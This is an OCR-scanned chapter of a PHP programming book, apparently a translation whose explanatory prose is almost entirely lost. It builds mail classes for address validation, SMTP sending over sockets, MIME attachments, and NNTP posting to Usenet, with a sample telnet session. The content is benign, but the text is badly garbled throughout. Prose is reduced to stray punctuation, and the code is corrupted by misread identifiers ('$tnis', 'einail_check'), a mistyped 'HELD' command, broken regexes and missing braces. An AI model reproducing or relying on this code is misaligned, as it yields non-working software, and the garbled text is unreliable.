' $this->ERROR_MSG = $this->ERR_TO_FIELD_INVALID;
return false;
} else if (is_array($cc_emails) &&
!$this->rigorousEfnailCheck($cc_emails)) {
'; ; $this->ERROR_MSG = $tnis->ERR_CC_FIELD_INVALID;
return false;
} else if (is_array($bcc_emails) &&j:
!$this->rigorousEmailCheck($bcc_eniails)) {
$this->ERROR_MSG = $this->ERR_BCC_FIELD_INVALID;
return false;
>.'""'' -.

- '' ^

} else {
if (!$this->einail_check($to_emails)) :{
$thiS->ERROR_MSG = $this->ERR_TO_FIELD_INVALID;
return false;
> else if (is_array($cc_ernails) &&.
!$this->email_check($cc_emails)) {'"' ,
$thiS->ERROR_MSG ="$this->ERR_CC_FIELD_INVALID;
: return false;
} else if (is_array($bcc_emails) &&
!$this->email_check($bcc_emails)){ .;
$this->ERROR_MSG = $this->ERR_BCC_FIELD_INVALIO;
return false;

return true;
}

emailCheckO

, :
function emailCheck($emails) {
foreach($emails as $email) {
if (eregi("<(.+)>", $email, $match)) Semail = $match[1];
if (!eregi(""[_\-\.0-9a-z]-f-@([0-9a-z][_0-9a-z\.]+)\

365

,([a-z]{2,4}$)", $email)) return false;


>

return true;

- :,,-..


. ,
, .
.
:
, @. ,
: ~[_\-\- 0-9a-z]+@.
,
2 4 : [0-9a-z][_0-9a-z\. ]+)\. ([a-z]{2,4}$.
4 , shop. : {2,4}.
,
.
, . , , . ,
DNS.
rigorousEmailCheck()
checkdnsrr(), ,
, , .
MX (Mail Exchange), ,
, MX . A N Y . - , , :
';.

function rigorousEmailCheck($emails)
{
if (!$this->emailCheck($emails)) return false;
foreach (Semails as Semail) {
list($user, Idomain) = split ( "@", $email, .2 );
if (checkdnsrr($domain, "ANY")) return true;
else {
return false;

366

11.

buildHeaders()
buildHeaders( ):
function buildHeaders()

{
}

if (!empty($this->cc)) $this->headers[] = "Cc: $this->cc";


if ,(! empty ($this->boc)) $this->headers[] = ": $this->bcc";

viewMsg()
- - , . .
,
MUA, :
function viewMsgO

if (!$this->checkFields()) return false;

viewMsgO .
$headers :
:$this->headers = (); ; ;
$this->buildHeaders(); ;
$this->headers[] = "From: $this->from"; ;
$this->neaders[] = ": $this->tb";
$this->headers[] '..= "Subject: $this->subject";

$msg = implode("\r\n", $this->headers);


$msg ..= "\r\n\r\n"; :
$msg .= $this->body;
return $msg;
send()
s e n d ( ) checkFieldsO
, buildHeadersO
. mail( ),
( SMTP-,
). true
false :
function send() ;

<
if (!$this->checkFields()) return true;

367

: $this->buildHeaders();
if (mail($this->to, :Stripslashes(trim($this->subject)),
stripslashes($this->body), iinplode("\r\n", $this->headers)))
return true;
else ;;|
$this->ERROR_MSG = $this->ERR_SEND_MAIL_FAILURE;
'' ' : " : " ' return false; : '
'" :
; -.}; ;; '
" " ' . ' , : .5 '
errorMsg()
, , . ,
, , errorMsg( ). $ERROR_MSG $STR_NO_ERROR,
$ERROR_MSG , , :
function errorMsgO
3 Y "

If (empty($this->ERROR_MSG)) return $this->STR_NO_ERROR;


return $this->ERROR_MSG;

Y . .v "
(:

?>":: :... ' /

. . Y

'

'

My_Mail

:
<?
// my_mail_class_test . php
include( " : /rny_mail_class. php" ) ;
| . .'$mail = new My_Mail();
$mail->to = "someone@a.com"; :
'
$mail->from = "wankyu@whatever.com";
$mail->cc = "someoneelse@a.com,yetanotherone@a.com";
$iriail->bcc = "someone@b.com,mole@a.cora";
:
,
$mail->subject = "Hi there!";
$mail->body = "Just testing.. .";
$mail->rigorous_email_check = 1; :

if ($mail->send()) {
echo( "Successfully sent an email titled $mail->subject! ");
} else {
echo("Error while attempting to send an email titled

368

11.

$mail->subject:" . $mail->errorMsg());

> :'' :

.,.;'....:"

echo("<br>");
echo(str_replace("\r\n", "<br>". $mail->viewMsg()));
?>
' . . ' . , . , '
..

''

'

,
, . , , My_Style, .
, :
class My_Mail
{
var $STYLE_CLASS = 'my_style';
function My_Mail()
{
$this->style = new
$this->STYLE CLASSQ;
'
function checkFieldsO
{
if (!$this->rigorousEmailCheck($to_emails)) {
$this->ERROR_MSG = $this->style->ERR_TO_FIELDJNVALID;
return false;

function errorMsgO
{
if (empty($this->ERROR_MSG)) return $this->style->STR_NO_ ERROR;
return $this->ERROR_MSG;

, .
SMTP,
, PHP mail(). ,
SMTP .
SMTP.
, . , .

SMTP
,
SMTP. , SMTP
SMTP. -

369

SMTP , .
:
HELO < > <CRLF>
MAIL FROM: < > <CRLF>
RCPT : < > <CRLF>
DATA<CRLF>
,
QUIT <CRLF>
, MAIL FROM RCPT TO ,
.
RCPT TO.
RCPT TO .
SMTP . , : , . , MAIL FROM , SMTP 250 . ,
, . . 11.1 :
11.1. SMTP

: 220
: 421
HELO

: 220
: 500, 501, 504, 421

MAIL FROM

: 250
: 552, 451, 452
: 500,501,421

RCPT TO

: 250
: 550, 551, 552, 553, 450, 451, 452
: 500, 501, 503, 421

DATA

: 354
: 451,554
: 500, 501, 503, 421
:
: 250
: 552, 554, 451, 452

QUIT

: 221
: 500

370

11.

, , . , DATA
: , ,
. DATA , 250.
SMTP SMTP . My_Mail,
send( ).
.
My_Mail

My_Mail, , .
<?php
// my_smtp_mail_class. php

include "./my_mail_class.php";

' class My_Smtp_Mail extends My_Mail :

"

SMTP , . SMTP ,
25, :
var $smtp_host = ' ' ;
var $smtp_port = 25;

, SMTP:
var $socket = 0;


:
var $response_code - 0;
: $response_msg = ' ';
. :
j:r

var $ERR_SMTP_HOSTJOt_SET = 'SMTP host not set! ';


:
var $ERR_SMTP_CONNECTION_ FAILED = Tailed to connect to the specified
SMTP host! '; :,
var $ERR_SMTP_NOT_CONNECTED = 'Establish a connection to an SMTP server
: first!:';


var
var
var
var
var

''.,-

371

$ERR_COMMAND_UNRECOGNIZED = 'Unrecognizable command!';


$ERR_HELO_WITHOUT_ARG = 'HELD command needs an argument! ';
$ERR_MAIL_WITHOUT_ARG = 'MAIL FROM command needs an argument! ';
$ERR_RCPT_WITHOUT_ARG = 'RCPT TO command needs an argument!'; 1
$ERB_OATA_WITHOUT_ARG = 'DATA command with empty mail content!' ;..

var $ERR_UNKNOWN_RESPONSE_FROM_SERVER = 'Unknown response from the server!';


: var $ERR_HELO_FAILED = 'HELO command failed!';
var $ERR_MAIl^FAILED = 'MAIL FROM command failed!'; : : .
var $ERR_RCPT_ FAILED = 'RCPT TO command: failed! ';
var $ERR_DATA_ FAILED = 'DATA command failed!';
var $ERR_QUIT_ FAILED = 'QUIT command failed! ';
var $ERR_INIT_SOCKET_ ERROR = "Couldn't initialize the socket!";

connectQ
connect () SMTP,
Ssocket, :
function connect () '"-..
{ '',
if (empty($this->smtp_host)) {
$this->ERROR_MSG = $this->ERR_SMTP_HOST_NOT_SET;
return false;
fsockopen() , , false .
,
SMTP :
$this->socket = fsockopen($this->smtp_host,
$this->smtp_port, &$err_no, &$err_str);
$err_no 0, , fsocko( ) :
:
if (!$this->socket) {
6 .; -'....' : if (!$err_no) {
$err_str = $this->ERR_INIT_SOCKET_ERROR;
}
:.;;, :- $thiS->ERROR_MSQ = $this->ERR_SMTP_CONNECTION_FAILED .
: " $err_no: $err_str";
return false;
. getResponse( ) false, :

372

11.

if (!$this->getResponse()) {
$this->ERROR_MSG = $this->ERR_UNKNOWN_RESPONSE_FROM_SERVER
. ":" . $this->response_msg;
4 return false;
220:
; .:

if ($this->response_code != 220) {:
$this->ERROR_MSG = $this->ERR_SMTP_CONNECTION_FAILED .

" . $this->response_code . " " , $this->response_msg;


return false;

return true;
getResponseQ
, ,
$response_code $response_msg .
$response_code, , :
function getResponseO

if (!$this->socket) {
$this->ERROR_MSG = $this->ERR_SMTP_NOT_CONNECTED;
return false;

$server_response = fgets($this->socket, 1024);


,
. (1024 ),
:
if (ereg("~([0-9]{3}) (.*)$", $server_response, Smatch)) {
$this->/esponse_code = $match[1j;
$this->responsejnsg = $match[2];
return true;

$this->response_msg = $server_response;
return false;
> ; '-.

talk()
t a l k ( ) - , SMTP
. SMTP
, SMTP
:

373

function talk($cmd, $arg=' ; )

';

?$'% ' ' ' :,::.:,'

""': "li

''' '

, '''

, :
:.:,,, if (:!$this->:socket) {
$triis->ERROR_MSG = $this->ERR_SMTP_NOT_CONNECTED;
return
false;
'
'
'
SMTP :
switch ($cnid) {
:
case "HELD":
J if (empty($arg)) {
:; s : :
:;
, ; ,. ;;'.- ;';;/;: $this->ERROR_MSG = $this->ERR_HELO_WITHOUT_ARG;
:: } :
: :
' return false; ;,::
"'
}':,:,\.:. : : ; ; \:
"""'V 'i:^>:>?4:;v: .;,:. : '.''' : / ' ;
;, : r $smtp_cmd = "HELD $arg\r\n";
fwrite($this->socket, : $smtpj;mcl);
if (! $this->getResponse()) { - :.:
.
;
$this->ERRORIMSG = $this?>IRR_UNKNOWN_RESPON^E_FROM_SERVER
:.":". . $thiST>response_msg;
:: :
return false;
v
250, , :
if ($this->response_code \~ 250) {
$this->ERROR_MSG = $this->ERR_HELO_FAILEp . " " .
$this->response_code . ^''i:" . $this->response_msg;
:
' : ;; ;; return false; , :
"

break;

::

MAIL FROM:
case "MAIL":
.
:
, ;
.
if (empty($arg)) {
::$this->ERROR_MSG = $this->ERR_MAIL_WITHOUT_ARG;
return false;
}
$smtp_cmd = "MAIL FROM: $arg\r\n";
fwrite($this->socket, $smtp_cmd);
if (!$this->getResponse()) {
$this->ERROR_MSG = $this->ERR_UNKNOWN_RESPON3E_FROM_SERVER
;:: :.: ":" . :$this->response_msg;

374

11.
return false;-

: ,

'." '>: ...

)....; ;
MAIL FROM 250:
if ($this->response_code..!= 250) {
rs;::.
$this~>ERROR_MSG = $this->ERR_MAIL_FAILED:aV' '' .
$this->response_code . " " . $this->response_msg;
return false;

} ,;

break;

.:

RCPT :
case "RCPT":
if (empty($arg)) {
$thiS->ERROR_MSG = $this->ERR_RCPT_WITHOUT_ARG;
return false;
:

.}..

".v.

-1&-

$to_emails = explode(",", $arg);


foreach ($to_emails as $email) {
: ;' , ':-' $smtp_cmd = "RCPT TO: $email\r\n";
fwrite($this->socket, $smtp_cmd);
If (!$this->getResponse()) { ;
$this->ERROR_MSG.=
: $thiS->ERR_UNKNOWN_RESPONSE_FROM_SERVER ,
":" . $this->responsejnsg;
return false;
RCPT TO 250:
if ($this->response_code != 250) {
$this->ERROR_MSG = $this->ERR_RCPT_FAILED . " " .
$this->response_code . " " . $this->response_msg;
return false;
break;
DATA:
case "DATA" :
if ( empty ($arg)) {
: $this->ERROR_MSG = $this->ERR_DATA_WlTHOUT_ARG;
return false;
:
. ' " ' } , .
" . . .
$smtp_cntd = "DATA\r\n";
fwrite($this->socket, $smtp_cmd);
if (!$this->getResponse()) {

375

$this->ERROR_MSG = $thiS->ERR_UNKNOWN_RESPONSE_FROM_SERVER .

":" . :$this->response_msg;
return false;

DATA 354.
250:

if ($this->response_code != 354) {
$this->ERROR_MSG = $this->ERR_DATA_ FAILED . ..... .
$this->response_code , " " . $this->response_tnsg;
return false;

. }; ...

>
:

'

$smtp_cmd = "$arg\r\n" . "," . "\r\n";


-.'>
fwrlte($this->socket, $smtp_cmd);
if (!$this->getResponse()) {
$this->ERROR_MSG = $this->ERR_UNKNOWN_RESPONSE_FROM_SERVER .
":" . $this->response_msg;
return false; }
-.,.
..
if ($this->response_code !'= 250) {
$this->ERROR_MSG = $this->ERR_DATA_ FAILED . " " .
$trds->response_code . " " . $this->response_nisg;
return false;
}
break;

QUIT:
case "QUIT":

$smtp_cmd .,= "QUIT\r\n";


fwrite($this->socket, $smtp_cmd);
if. (!$this->getResponse()) {
$this->ERROR_MSG = $this->ERR_UNKNOWN_RESPONSE_FROM_SERVER .
":"'. $this->response_msg;
return false;

QUIT 221 :
if ($this->response_code != 221) {
$this->ERROR_MSG = $this->ERR_QUIT_ FAILED . " '" .
$this->response_code . " " . $this->response_msg;
return false;

" .,,;. >

break;

SMTP . , , , case :
default:
$this->ERROR_MSG = $this->ERR_COMMAND_UNRECOGNIZED;

376

11.
return false;
; : ; : break; : :
}
return true;

>

' '

send()
My_Smtp_Mail send() My_Mail. , My_Smtp_Mail
talk( ) SMTP, , PHPmaiK):

function send()
{,'-' . ; : . ; .

if (!$this->checkFields()) return false; ;

: $this->buildHeaders( ) ;
if (!$this->connect()) return false;
if (!;$this->talk("HELO", $GLOBALS["SERVER_NAME"])) return false;
if (!$this->talk("MAIL", $this->from)) return false;
if (!$this->talk("RCPT", $this->to)) return false;
DATA SMTP
Subject:

:,
;

if (!empty($this->to)) $this->headers[] - "To: $this->to";


if (!empty($this->subject)) $this->headers[] = "Subject: ;
.
,;
$this->subject";
if (!$this->talk("DATA", implode("\r\n", $this->headers) .
"\r\n\r\n" . $this->body)) return false;
if (!$this->talk("OUIT")) return false;
fclose($this->socket);
return true;

_ Smtp_Mail
, :
<?php

// my_smtp_mail_class_test.php
include("./my_smtpji)ail_class. php");

377

Stnail = new My_Smtp_Mail();


$mail-:>snvtp_host = 'whatever.com';
$mail->to = "someone@a.com";
$roail->from = "wankyu@whatever;com'';
$mail->cc = "someoneelse@a.com,yetanotherone@a.com";
$mail->bcc = "someone@b.com,mole@a.com";

$mail->subject = "Hi there!";


$mail->body = "Just testing...";
$mail->rigorous_email_check = 1;

if ($mail->send()) {
echo( "Successfully sent an email titled $mail->subject!");
: } else die("Error while attempting to send an email titled
$mail->subject:" . $mail->errorMsg());
echo("<br>");
ecno(str_replace("\r\n", "<br>", $mail->viewMsg()));
"

'

'"

-, ,
,
: MIME . MIME ,
.
.

MIME
MIME (Multipurpose Internet Mail Extensions -
) , . ,
. , MIME .
MIME :
US-ASCII
, US- ASCII
, ,


, , 8- , , , , . 7- ASCII, -

378

11.


.
, MIME . ,
.
. , . .
, ,
, ,
,
.
MIME :
Return-Path: <yonsuk@tohoelse.com>
Received: from whoelse.com (lDENT:yonsuk@whoelse.com[l92.168.0.2])
by mall.whatever.com (8.9.3/8.9.3) with SMTP id VAA30663
for wankyu; Mon, 29 Jan 2001 15:21:59 "'+0900
Date: Mon, 29 Jan 2001 15:21:50 +0900
From: Yonsuk Song <yonsuk@whoelse.com>
To: wankyu@whatever.com ,
Subject: My Picture!
Message-Id: <20010l291215.VAA30663@whatever.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="01fedcb871d3f012e43680250ba5ca3f"
This is a multi-part message in MIME format.

--Olfedcb871d3f012e43680250ba5ca3f
Content-Type: text/plain; charset=us-ascii
Here goes my picture. Send me yours!
Yours faithfully,
Yonsuk Song

01fedcb871d3f012e43680250ba5ca3f
Content-Type: image/gif; name= "yonsuk.gif"
Content-Transfer-Encoding: base64
ROlGODlhZACWAPf/AP///OpKSlpaWq2trbW1td7e3ufn5+/v7/f3987Gxufe
3r21tbWtrZSMjPfW1tatrWNKSqVjY95jWq05MbOxKc4xIc4QANaUjNZaSrOx
g7+UyB8Q7MgHOc81833oayb6b6DHG3p+fvSnX/1vSHTIH44Aylc++5e/fv1l
3vOj r/7xZ8fFZQICADs=
--01fedcb871d3f012e43680250ba5ca3f , , MIME.
, MIME
.

379

MIME
MIME ,
, , , .
. , ,
0,
- 1, -
2, . . ,
0.
MIME , ,
.
. MIME , , . , ,
, , , , .
MIME, ,
: MIME-Version.
MIME-Version
MIME-Version MIME. , MIME, MIME , ( ) , .
, MIME, :
MIME-Version: 1.0
Content-Type
,
Content-Type. , Content-Type ,
:
Content-Type: text/plain; charset=us-ascii
,
HTML, , US-ASCII, - ,
? Content-Type
, HTML, :
Content-Type: text/html; charset=euc-kr
, , ,
. -

380

11.

, , , .
Content-Type , ,
. , text, image, audio, video, m u l t i p a r t ,
application . , image/gif ,
GIF.
, . , text
video. , , , text/html video/mpeg.
application/octetstream, . (octet stream) , , . , , .
, .
, application/msword, .
,
Content-Type multipart.
. m u l t i p a r t , mixed,
.
m u l t i p a r t ,
, , .
.
, , . Content-Type
, Content-Type
text/plain; charset=us-ascii.
Content-Type , , boundary ():
Content-Type: multipart/mixed; boundary="01fedcb871d3f012e43680250ba5ca3f"

, , , (--) boundary Content-Type (


01fedcb871d3f012e43680250ba5ca3f), CR/LF:
--01fedcb871d3f012e43680250ba5ca3f

381

boundary CR/LF
CR/LF -
. 70 , .
, , , boundary , ,
:
01fedcb87103f012e43680250ba5ca3f-

, . ,
boundary . ,
--01fedcb871d3f012e43680250ba5ca3f ,
:
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="01fedcb871d3f012e43680250ba5ca3f"
boundary 32 (. . 0-9 a-f). 128- , . 128- ,
.
Content-Transfer- Encod i ng
, ,
8-
. , SMTP,
7- US-ASCII 1024 .
MIME ,
Content-Transfer-Encoding.
, . .
Content-Transfer-Encoding ,
, 7bit, 8bit, binary, q u o t e d - p r i n t a b l e base64. 7bit , 7- , . , , Content-TransferEncoding: 7bit.
8bit 8- . , -

382

11.

( ) 8-
:
Content-Type: text/plain; charset=euc-kr
Content-Transfer-Encoding: 8bit
8-
.
quoted-printable base64 7- , , . , base64 . ,
, quoted-printable , , 76 .
Content-Description
C o n t e n t - D e s c r i p t i o n
. , ,
, :
Content-Description: This is an MP3 file. You need an MP3 player to play this audio
file.

Content-Disposition
Content-Disposition
, .
: INLINE ATTACHMENT. INLINE,
, ATTACHMENT
.
, , :
Content-Disposition: attachment; filename = yonsuk.gif
, MIME,
MIME.

My_Mime_Mail
My_Mail ,
MIME. , MIME , , , send():
<?php
// my_mime_mail_class.php

383

include("./my_mailiclass.php");
class My Mime_Mail extends My_Mail
{

.;.,.

Content-Type
"text/plain; charset=us-ascii":
:.,

var $type = 'text/plain';


var Scharset = 'us-ascii'; :

".]''

:
:

;::^:i ;

Content-Transfer-Encoding
:
var Sencoding = '7bit';

, , :
var $has_attach = 0;

, ,
$f lies. $f iles ; , . ,
:
$file1 = $files[0]["file"]; // path
$filename1 = $files[0]["filename"];
$filesize1 = $files[0]["filesize"];
$filetype1 = $files[0]["filetype"];

of
//
//
//

the file
name of the file
size of the file
type of the file


:
var $files = array();
application/
octet-stream. :
var $mime_type = 'application/octet-stream';
MIME-Version
:
var $mime_version = "MIME-Version: 1.0";
var $mime_msg = "This is a multi-part message in MIME format.";

11.

384

"X-Mailer":
var Smaller = 'My Mime Mailer 1.0';

:
var Sboundary = ' ' ;

:
var $ERR_CANNOT_OPEN_FILE = 'Cannot open the specified file!';
buildMimeHeadersQ

MIME . ,
, Content-Type "multipart/mixed":
function buildMimeHeadersQ
{
$this->headers[] = "X-Mailer: " . $tlus->mailer;
$this~>headers[J = $this->mime_version;
if ($this->has_attach) {
$this->boundary = md5(uniqid(time()));

, .
:
$this->boundary = md5(uniqid(time()));
time()
UNIX, u n i q i d ( )
. , md5() 32- , ID. md5() ,
. 2
128, . md5() , , , ID .
, - , MIME , MIME :
:$this->headers[] = "Content-Type: multipart/mixed; boundary=\"
$this->boundary\"\r\n";
$this->headers[] = $this->mime_msg . "\r\n";
$this->headers[] = "--".. $this->boundary;

385

.$this->headers[] = "Content-Type: $this->type ; charset=


$this->charset";
$this->encoding 8bit,
:
$this->headers[] = "Content-Transfer-Encoding: $this->encoding";
buildBodyParts()
, .
, .

function buildBodyPartsO

if (!$this->has_attach) return true;

^'-

.
CR/LF, :
$body_parts[0] .= $this->body . "\r\n\r\n";

..,.-;,

, , , :
for ($1=0; $!< count($this->files); $it*) {
if U($fp = @fopen($this->files[$i]["file"], "r"))) {
$this->ERROR_MSG = $this->ERR_CANNOT_OPEN_FILE . " " .

'

$this->files[$i]["file"3;
return false;
'.;''

:
$file_body = fread($fp, filesize($this->files[$i]["file"]));
$f ile_body 76 , , , :
:,'.:

$file_body = chunk_split(base64_encode($file_body));

PHP , :
base64_encode(string data)
.
133. 989

386

11.

chunk_split(string data, int length, string delimiter)


, length .
76 \\ , .
, :
$body_parts[$i+1] = "--" . $this->boundary . "\r\n";
, , (application/octet-stream):
if (!empty($this->files[$i]["filetype"]));$this->mime_type =
$this->files[$i]["filetype"]; j
$body_parts[$i+1] .= "Content-Type: " . $this->mime_type .
";name=" . basename($this->files[$i][ "filename"]) . "\r\n";
7- ASCII base64:

'^ "

>

$body_parts[$i+1] .= "Content-Transfer-Encoding: base64\r\n\r\n";


$body_parts[$i+1] .= $file_body . "\r\n\r\n";
'..'.

. , ,
:
$body_parts[$i+1] .= "--" . $this->boundary ."--";
. $body_parts :
$this->body = implodeC'", $body_parts);
return true;
viewMsg()
MIME viewMsg():
function viewMsgO
{

if (count($this->files) > 0) $this->has_attach = true;/


if (!$this->checkFields()) return false;
$this->headers = array();
$this->buildHeaders();

387

$this->headers[] = "From: $this->from";


$this-;headers[] = "To: $this->to";
$this->headers[] = "Subject: $this->subject";
$this->buildMimeHeaders( ) ;
if (!$this->buildBodyParts()) return false;
$msg = implode("\r\n", $this->headers);
$ m s g . = "\r\n\r\n";
$msg .= $this->body;
return $msg;

send()
send( ), My_Mail, MIME :
function sendQ

{.;

; .:

if (count($this->files) > 0) $this->has_attach = true;


if (!$this->checkFields()) return false;
: $this->subject = stripslashes(trim($this->subject));
$this->body = stripslashes($this->body);
$this->buildHeaders( ) ;
$this->buildMimeHeaders( ) ;
if (!$this->buildBodyParts()) return false;
if (mail($this->to, $this->subject, $this->body,
implode("\r\n", $this->headers))) return true;
else {
$this->ERROR_MSG = $this->ERR_SEND_MAIL_ FAILURE; : ; ,
return false;

?>

'

>; " V

'

"

'

My_Mime_Mail Class
, :
<?php
// my_mime_mail_class_test.php
include( " . /my_mime_mail_class . php" ) ;
$mail = new My_Mime_Mail();
$mail->to = 'wankyu@whatever. corn' ;

388

11.
$mail->from = 'yonsuk@whoelse.com';
$mail->subject = "My picture!";
$mail->body = "Here goes my picture! Send me yours!";
$mail->files[0]["file"] = '/home/yonsuk/yonsuk.gif ;
$mail->files[0][ "filename"] = 'yonsuk.gif;
$mail->files[0]["filetype"] = 'image/gif ;
if ($mail->send()) {

echo( "Successfully sent an email titled '$mail->subject'! ");


} else {
echo($mail->errorMsg( ) ) ;
}
echo("<br>");
echo(str_replace("\r\n", "<br>", $mail->viewMsg()));

,
: Suserfile, $userfile_name, Suserfile_size $userfile_type. $userfile_type , .
, :
$mail->files[0]["file"] = Suserfile;
$mail ->files[0]["filename"] = $userfile_name;
$mail ->files[0]["filesize"] = $userfile_size;
$mail ->files[0]["filetype"] = $userfile_type;

My_Smtp_Mime_Mail
My_Smtp_Mail, My_Mail,
MIME SMTP.
send( ):
// my_smtpjniine_mail_class.php
include( " . /my_smtp_mail_class . php" ) ;.'.
class My_Smtp_Mime_Mail extends My_Smtp_Mail
{
function send()
{
if (count($this->files) > 0) $this->has_attach = true;
if (!$this->checkFields()) return false;
$this->subject = stripslashes(trim($this->subject));
$this->body = stripslashes($this->body);
$this->buildHeaders();
Subject MIME:

Usenet

389
if (!empty($this->to)) $this->headers[] = "To: $this->to";
if (!empty($this->subject)) $this->headers[] = "Subject:
$this->subject";
$this->buildMimeHeaders();
if (!$this->buildBodyParts()) return false;
if (!$this->connect()). return false;
if (!$this->talk("HEUr, $GLOBALS["SERVER_NAME"])) return false;
if (!$this->talk("MAIL", $this->from)) return false;
if (!$this->taik("RCPT, $this^>to)) return false;
if (!$this->talk("DATA", implode("\r\n", $this->headers)
. "\r\n\r\n" . $tnis->body))
return false;
if (!$this->talk("QuTP)) return false;
fclose($this->socket);:
return true;

Usenet
, , ? , , -
, ? , , 24
, .
Usenet!
,
(), Usenet
. Usenet - , , .
, Usenet, (article).
(newsgroups),
.
. , .
, . , alt. rock-n-roll.metallica.
alt . , .
-

390

11.

, soc. culture, korea.


soc .
(newsreader),
Microsoft Outlook Tin, (news server), , ,
.
. ,
, . ,
.
. ,
. .
.

Usenet
Usenet . Usenet - .
, , , , , , .
, , , . ,
.
, -
- .
Usenet UUCP, UNIX-to-UNIX Copy Protocol,
. NNTP, Network News Transport
Protocol, .
NNTP ,
,
. NNTP telnet , . telnet , NNTP. 119, .
IP. news.php.net,

Usenet

391

.
Usenet, . .

. , - , php. test .

NNTP
telnet news. php. net NNTP (119). ,
:
# telnet news.php.net nntp
Trying 198.186.203.51,..
Connected to va.php.net.
Escape character is '"]'.:
200 localhost InterNetNews NNRP server INN 2.2.2 13-Dec-1999 ready (posting ok).
news. php. net , .
LIST, :
LIST
215 Newsgroups in form "group high low flags",
php.announce 0000000011 0000000001 ra
php.test 0000000070 0000000001 ra
php.dev 0000037182 0000000001 :m
php.lang 0000000097 0000000001 m
php.gtk 0000000007 0000000001 m

, , Usenet , LIST Usenet .


GROUP ,
. ,
php. test 70 . (70) (211)
, (1)-
(70) - :
GROUP php.test
211 70 1 70 php.test

392

11.

POST
. , , Newsgroups, , . , , , , ,
. , .
, . 240 ,
.
.
POST
340 Ok

From: Wankyu@whatever.com
Newsgroups: php.test
Subject: Does it work?
Wow it works! :
240 Article posted
p h p . test,
, 71:
GROUP php.test
211 71 1 71 php.test

ARTICLE ,
. NNTP
. :
ARTICLE 71

220 71 <95kvcb$qcn$3@toye.p.sourceforge.net> article


Path: localhost!lists.php.net!php-test-return-122-news-php.test=toye.php.net
From: wankyu@whatever.com
Newsgroups: php.test
Subject: Does it work?
Date: 4 Feb 2001 17:24:33 -0800
Lines: 2
Approved: php-test@lists.php.net
Message-ID: <95kvcb$qcn$3@toye.p.sourceforge.net>
NNTP-Posting-Host: localhost.localdomain
X-Trace: toye. p.sou reefrge.net 981336273 27765 127.0.0.1 (5 Feb 2001 01:24:33 G
MT)
X-Complaints-To: news@news.php. net
NNTP-Posting-Oate: 5 Feb 2001 01:24:33 GMT
Mailing-List: contact php-test-help@lists.php.net; run by ezmlm

Usenet

393

X-To: php-test@lists.php.net
X-Lines: 1

Xref: localhost php.test:71


Wow it works!

BODY :
BODY 71
222 71 <95kvcb$qcn$3@toye.p.sourceforge.net>. body
Wow it works!

HEAD :
HEAD 71

: 221 71 <95kvcb$qcn$3@toye.p.sourceforge.net> head


Path: localhost! lists.php.net!php-test-return-122-news-php.test=toye.php.net
From: neobundy@dreamwiz.com
Newsgroups: php.test
Subject: Does it work?
Date: 4 Feb 2001 17:24:33 -0800
Lines: 2
Approved: php-test@lists.php.net
Message-ID: <95kvcb$qcn$3@toye.p.sou reef .net>
NNTP-Posting-Host: localhost.localdomain
X-Trace: toye.p..sourceforge.net 981336273 27765 127.0.0.1 (5 Feb 2001 01:24:33 G
MT)
X-Complaints-To: news@news.php.net
NNTP-Posting-Date: 5 Feb 2001 01:24:33 GMT
Mailing-List: contact php-test-help@lists.php.net; run by ezmlm
X-To: php-test@lists.php.net
X-Lines: 1
Xref: localhost php.test:71
QUIT:
QUIT
205 .

Connection closed by foreign host.


*

NNTP
SMTP NNTP
. ,
(. 11.2):

11.

394

11.2. NNTP



,
(, )
, -
,


1
2

4
5

(. 11.3):
11.3. NNTP

( )

xlx
2

4
8
9

, . ARTICLE 71, :
ARTICLE 71

220 71 <95kvcb$qcn$3@toye.p.sourceforge.net> article


, 1 .
200 201 .
200 , , 201 . 400 ,
NNTP , 5 , - .
,
, . 11.4:
11.4.


200 -
201 -

395

Usenet

ARTICLE

( NEXT )

BODY
HEAD
NEXT

220 - -
221 -
223 - ,
412 -
420 - (NEXT)
423 -
430 -

GROUP

211 -
411 -

LIST

215 -

POST

340 - ,
240 -
441 -
440 -

QUIT

205 -

400 -
500 -
501 -
502 -

,

:

201, .
GROUP
411, .
POST
340.
440, .
240; , .
QUIT
205.
, IMAP, 12.

396

11.

NNTP, , - . NNTP, .
, NNTP , ? .


, .

. , , .
, CR/LF: ,
. CB/LF.
:

Path

, .
, ,
. "!". :
localhost!lists.php.net!php-test-return-122-news-php.test=toye.php.net

From

.
. , Wankyu Choi <wankyu@whatever.com>.
Newsgroups
,
. .

Subject

, ,
Sub] ect. , R e : . , Re: A question!.

Date

,
. , . ,
4Feb2001 17:24:33-0800.
Message-ID

ID ,
. , <95kvcb$qcn$3toye. p. sou reef . net>.

NNTP-Posting-Host

, . . , news.whatever.com.

Usenet

397

, , :

Reply-To

, .
, From.

References

ID
, . ,
. , References: <95kvcb$qcn$3@toye. p.sourceforge.net> <390F4E9C.80D6BBCB@whatever.net>.

Approved

, .
Lines
.

Organization
, .

, .
, .

. RFC 1036.
, NNTP, .

NNTP
NNTP, , ,
SMTP, , buildHeadersQ talk()
. , .
talk() NNTP. My_Nntp My_Smtp_Mime_Mail.

<?
// my_nntp_class.php
include("./my_smtp_mime_mail_class.php");
class My_Nntp extends My_Smtp_Mime_Mail

398

11.

NNTP , :
var Inritpjiost = ''-;'
vgr $nntp^.port = 119;

,
. ,
:
var $newsgroups = ";
References:
var Sreferences = ' ' ; : ,

:
var $ERR_NNTP_HOST_NOT_SET = 'NNTP host not set!';
var $ERR_NNTP_CONNECTION_FAIIED = 'Failed to connect to the specified
NNTP host!';
var $ERR_NNTP_NOT_CONNECTED = 'Establish a connection to an NNTP server
first! ';
var $ERR_EMPTY_FROM =. "Empty From header!";
var $ERR_EMPTY_NEWSGROUPS = "No newsgroup(s) specified!";:

s;

,u'

var $ERR_GROUP_WITHOUT_ARG = 'GROUP command needs an argument!';


var $ERR_POST_WITHOUT_ARG = 'POST command with empty article content!';
var $ERR_UNKNOWN_RESPONSE_FROM_SERVER = 'Unknown response from the
server!';
var $ERR_POSTINGJIOT_ALLOWED = "Posting not allowed on" this server!";
var $ERR_GROUP_POSTING_NOT_ALLOWED = "Posting not allowed on this
newsgroup!";
; :
var $ERR_GROUP_FAILED = 'GROUP command failed!';
var $ERR_NO_SUCH_GROUP = 'No such group!';
var $ERR_POST_FAILEO = 'POST command failed!/; :
yar $ERR_QUIT_FAILED = 'QUIT command failed!';.:;

connect()
NNTP,
$socket. , . NNTP
IP- , . , . 201 , , false,
:

Usenet

399
function connect()
{ ;
if (empty($this->nntp_host)) {
$this->ERROR_MSG = $this->ERR_NNTP_HOST_NOT_SET;
